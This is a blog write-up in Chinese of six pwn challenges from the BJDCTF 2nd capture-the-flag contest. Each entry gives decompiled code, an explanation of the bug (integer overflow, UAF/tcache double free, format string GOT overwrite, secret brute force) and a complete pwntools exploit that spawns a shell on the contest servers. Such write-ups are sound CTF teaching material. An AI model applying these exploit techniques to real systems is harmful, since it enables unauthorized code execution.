avatar

BJDCTF 2nd Pwn WriteUp

- 官方WP:2020第二届BJDCTF


1,[BJDCTF 2nd]r2t3

- 1.checksec

Arch:     i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)

- 2.IDA

name_check

char *__cdecl name_check(char *s)
{
char dest; // [esp+7h] [ebp-11h]
unsigned __int8 v3; // [esp+Fh] [ebp-9h]

v3 = strlen(s);
if ( v3 <= 3u || v3 > 8u )
{
puts("Oops,u name is too long!");
exit(-1);
}
printf("Hello,My dear %s", s);
return strcpy(&dest, s);
}

整数溢出: v3的类型是unsigned __int8,8位正整数,max = 2^8=256,所以,v3=259=3,从而绕过检查

相关: 攻防世界-新手区-- int_overflow

- 3.EXP

from pwn import *
#context.log_level ="debug"
elf = ELF("./r2t3")
#p = process("./r2t3")
p = remote("node3.buuoj.cn","25894")

sys = 0x0804858B
payload = 'a'*(0x11+4)+p32(sys)
payload +='a'*(260-len(payload))
p.sendlineafter("your name:\n",payload)
#gdb.attach(p)
p.recv()
p.interactive()

2,[BJDCTF 2nd]one_gadget

- 1.checksec

Arch:     amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled

- 2.IDA

init

int init()
{
setvbuf(_bss_start, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
return printf("here is the gift for u:%p\n", &printf);
}

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
void (__fastcall *v4)(_QWORD, _QWORD); // [rsp+8h] [rbp-18h]
void (__fastcall *v5)(_QWORD, _QWORD); // [rsp+10h] [rbp-10h]
unsigned __int64 v6; // [rsp+18h] [rbp-8h]

v6 = __readfsqword(0x28u);
init();
printf("Give me your one gadget:", argv);
__isoc99_scanf("%ld", &v4);
v5 = v4;
v4("%ld", &v4);
return 0;
}

关于argv:main(int argc, char *argv[ ], char **env)才是UNIX和Linux中的标准写法。

argc: 整数,用来统计你运行程序时送给main函数的命令行参数的个数

* argv[ ]: 指针数组,用来存放指向你的字符串参数的指针,每一个元素指向一个参数

argv[0] 指向程序运行的全路径名

argv[1] 指向在DOS命令行中执行程序名后的第一个字符串

argv[2] 指向执行程序名后的第二个字符串

同时程序开头泄露了printf的地址,让我们可以轻易计算出libc base

所以通过传入one_gadget得到shell

- 3.EXP

from pwn import *
context.log_level = "debug"
#p = process("./one_gadget")
p = remote("node3.buuoj.cn","28582")
libc = ELF("./libc-2.29.so")

p.recvuntil("here is the gift for u:0x")
leak = int(p.recv(12),16)
print hex(leak)
base = leak-libc.sym["printf"]
print hex(base)
#one = [0xe237f,0xe2383,0xe2386,0x106ef8]
p.sendlineafter('Give me your one gadget:',str(base+0x106ef8))
p.interactive()

3,[BJDCTF 2nd]ydsneedgirlfriend2

- 1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

- 2.IDA

  • 得到几个选项+后门

    def add(sz,text):
    p.sendlineafter("choice :","1")
    p.sendlineafter(":",str(sz))
    p.sendlineafter(":",text)
    def dele(idx):
    p.sendlineafter("choice :","2")
    p.sendlineafter(":",str(idx))
    def show(idx):
    p.sendlineafter("choice :","3")
    p.sendlineafter("choice :",str(idx))
    • back_door = 0x400D86
  • delete

    if ( girlfriends[v1] )
    {
    free((void *)*girlfriends[v1]);
    free(girlfriends[v1]);
    puts("Why are u so cruel!");
    }

这里free后指针未清零,造成UAF

结合题目环境是ubuntu19,利用tcache可以被重复释放两次的特点,修改fd指针,进入后门函数

- 3.EXP

from pwn import *
context.log_level = "debug"
elf = ELF("./ydsneedgirlfriend2")
libc = ELF("/home/joe1sn/libc/64/libc-2.27.so")
#p = process("./ydsneedgirlfriend2")
p = remote("node3.buuoj.cn","25042")

def add(sz,text):
p.sendlineafter("choice :","1")
p.sendlineafter(":",str(sz))
p.sendlineafter(":",text)

def dele(idx):
p.sendlineafter("choice :","2")
p.sendlineafter(":",str(idx))

def show(idx):
p.sendlineafter("choice :","3")
p.sendlineafter("choice :",str(idx))

back_door = 0x400D86
if __name__ == '__main__':
add(0x20,'aaaa')
add(0x20,'bbbb')
dele(0)
dele(0)
add(0x10,'a'*8+p64(back_door))
show(0)
p.interactive()

4,[BJDCTF 2nd]r2t4

- 1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

- 2.IDA

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf; // [rsp+0h] [rbp-30h]
unsigned __int64 v5; // [rsp+28h] [rbp-8h]

v5 = __readfsqword(0x28u);
read(0, &buf, 0x38uLL);
printf(&buf, &buf);
return 0;
}

字符串格式化漏洞

back_door

unsigned __int64 backdoor()
{
unsigned __int64 v0; // ST08_8

v0 = __readfsqword(0x28u);
system("cat flag");
return __readfsqword(0x28u) ^ v0;
}

利用字符串格式化漏洞实现任意地址写从而改变程序流,但是开启了canary保护,仔细想想canary保护的原理机制CANARY保护及绕过—笔记(上) 其实可以通过任意地址写将__stack_chk_fail的got改为backdoor的plt

类似: 格式化字符串任意地址写操作学习小计

- 3.EXP

from pwn import *
import os
#context.log_level = "debug"
binary = 'r2t4'
context.binary = binary
elf = ELF("./r2t4")
p = process("./r2t4")
#p = remote("node3.buuoj.cn","26178")

stack_chk_fail = elf.got['__stack_chk_fail']
back_door = elf.sym["backdoor"]
payload = fmtstr_payload(6,{stack_chk_fail:back_door})
payload = payload.ljust(0x38,"a")//对齐
print (payload)
print len(payload)
p.send(payload)
p.interactive()

5,[BJDCTF 2nd]secret

- 1.checksec

Arch:     amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)

- IDA

sub_40136D

.text:000000000040136D ; __unwind {
.text:000000000040136D push rbp
.text:000000000040136E mov rbp, rsp
.text:0000000000401371 mov eax, 0
.text:0000000000401376 call sub_46A329
.text:000000000040137B mov eax, cs:dword_46D0BC
.text:0000000000401381 cmp eax, 476Bh
.text:0000000000401386 jz short loc_401392
.text:0000000000401388 mov eax, 0FFFFFFFFh
.text:000000000040138D jmp loc_46A327
.text:0000000000401392 ; ---------------------------------------------------------------------------
.text:0000000000401392
.text:0000000000401392 loc_401392: ; CODE XREF: sub_40136D+19↑j
.text:0000000000401392 mov eax, 0
.text:0000000000401397 call sub_40128E
.text:000000000040139C mov eax, 0
.text:00000000004013A1 call sub_46A329
.text:00000000004013A6 mov eax, cs:dword_46D0BC
.text:00000000004013AC cmp eax, 2D38h
.text:00000000004013B1 jz short loc_4013BD
...................... .......... .... .....................

无法f5,查看汇编发现是一个检查的区块,我这是直接爆破开(没错,整段复制后用sublime得到各个secret),我花了大概十分钟爆破,十多分钟整理出密码

段上面:

.data:000000000046D080 ; char buf[]
.data:000000000046D080 buf db 'Y0ur_N@me',0 ; DATA XREF: sub_401301+39↑o
.data:000000000046D080 ; sub_46A3AF+32↑o ...
.data:000000000046D08A align 10h
.data:000000000046D090 off_46D090 dq offset unk_46D0C0 ; DATA XREF: sub_40128E+23↑r
.data:000000000046D090 ; sub_46A329+5A↑r ...
.data:000000000046D090 _data ends

这里比赛完和cnitlrt师傅交流了下,这里直接应用他说的吧

name处存在溢出,覆写got表也可

- 3.EXP

- 3.1爆破exp

from pwn import *
from tqdm import tqdm
import os
#context.log_level = "debug"
binary = 'secret'
context.binary = binary
elf = ELF("./secret")
#p = process("./secret")
p = remote("node3.buuoj.cn",27235)

l=tqdm([0x476B, 0x2D38, 0x4540, 0x3E77, 0x3162, 0x3F7D, 0x357A, 0x3CF5, 0x2F9E, 0x41EA, 0x48D8, 0x2763, 0x474C, 0x3809, 0x2E63, 0x2F4A, 0x3298, 0x28F3, 0x3D1B, 0x449E, 0x3328 , ...................................................................................... 0x42F7, 0x4AC6, 0x3217, 0x40AC, 0x2F1D, 0x4033, 0x3490, 0x2964, 0x353C, 0x3822, 0x4C0F, 0x427A, 0x2B2C, ])
p.sendlineafter("name? ________________ #","joe1sn")
for i in l:
l.set_description("Processing %s\n" % i)
p.sendlineafter("Secret: _____",str(i))

p.interactive()

放个效果,看着挺震撼的

: 100%|█████████▉| 9996/10000 [11:11<00:00, 14.95it/s]Processing 12345
: 100%|█████████▉| 9996/10000 [11:12<00:00, 14.95it/s]Processing 12345
: 100%|█████████▉| 9998/10000 [11:12<00:00, 15.01it/s]Processing 11927
: 100%|█████████▉| 9998/10000 [11:12<00:00, 15.01it/s]Processing 11827
: 100%|█████████▉| 9998/10000 [11:12<00:00, 15.01it/s]Processing 11827
: 100%|██████████| 10000/10000 [11:12<00:00, 15.02it/s]Processing 11827
: 100%|██████████| 10000/10000 [11:12<00:00, 14.87it/s]
[*] Switching to interactive mode
#====================================#
# GOOD JOB GUESS 0 TIMES TO WIN #
#====================================#
# Secret: $ cat flag
flag{f1d94580-5f98-44ad-a7c0-9f7122309944}
[*] Got EOF while reading in interactive
$
$
[*] Closed connection to node3.buuoj.cn port 28144
[*] Got EOF while sending in interactive
										buuctf动态flag,👍										

- 3.2溢出覆盖指针exp – by:cnitlrt

from pwn import*
context.log_level = 'debug'
p = process('./secret')
#p = remote('node3.buuoj.cn',29282)

elf = ELF('./secret')
log.success('printf_got==>'+hex(elf.got['printf']))
log.success('system_got==>'+hex(elf.got['system']))
def function(index):
p.recv()
p.sendline(str(index))

p.recv()
payload = '/bin/sh\x00'+'a'*8+'\x40'+'\xd0'+'\x46'
p.sendline(payload)
function(0x476B)
function(0x2D38)
function(0x4540)
function(0x3E77)
function(0x3162)
function(0x3F7D)
function(0x357A)
function(0x3CF5)
sleep(1)
function(0x2F9E)
# sleep(0.1)
function(0x41EA)
function(0x48D8)
function(0x2763)
#gdb.attach(p,'b *0x401346')
function(0x474C)
function(0x3809)
function(0x2E63)
gdb.attach(p,'b *0x401346')
p.sendline('1')

#function(0x2F4A)
# gdb.attach(p,'b *0x401346')
# buf 0x46D080
p.interactive()

类似的题还有HGAME2020 week1的 One_Shot本站的wp:HGAME 2020 WEEK1 PWN WP

6,[BJDCTF 2nd]rci

这里全保护没得说,考察proc shell,有个相似的题在 HGAME 2020 WEEK2

这里我做的时候有点小花招

nc连上

趁还程序没有切换目录,赶紧运行一条命令,直接绕过check1和check2,最后输入$0得到shell
rci.png

官方解

众所周知,当前目录文件用 . 表示,所以输入 ls -ali 命令即可显示当前目录的 inode 号 也就是说,imagin 所在房间的 inode 已知了,但是 . 是相对路径,题目中要求验证绝对路径

于是想办法查看绝对路径,我们已知房间是在/tmp 目录下的,所以不难想到,再开一个 shell,输入 ls -ali /tmp 显示/tmp 目录下所有文件 inode,根据唯一的 inode 找到对应房间号,即可通过 check1。

本题重点结束。

check2 也过滤了一些字符,可以通过输入 $0 绕过。

有个问题:nc过后如何开启两个shell?(我太菜了)

Author: Joe1sn
Link: http://blog.joe1sn.top/2020/BJD_2nd_writeup/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.
Donate
  • 微信
    微信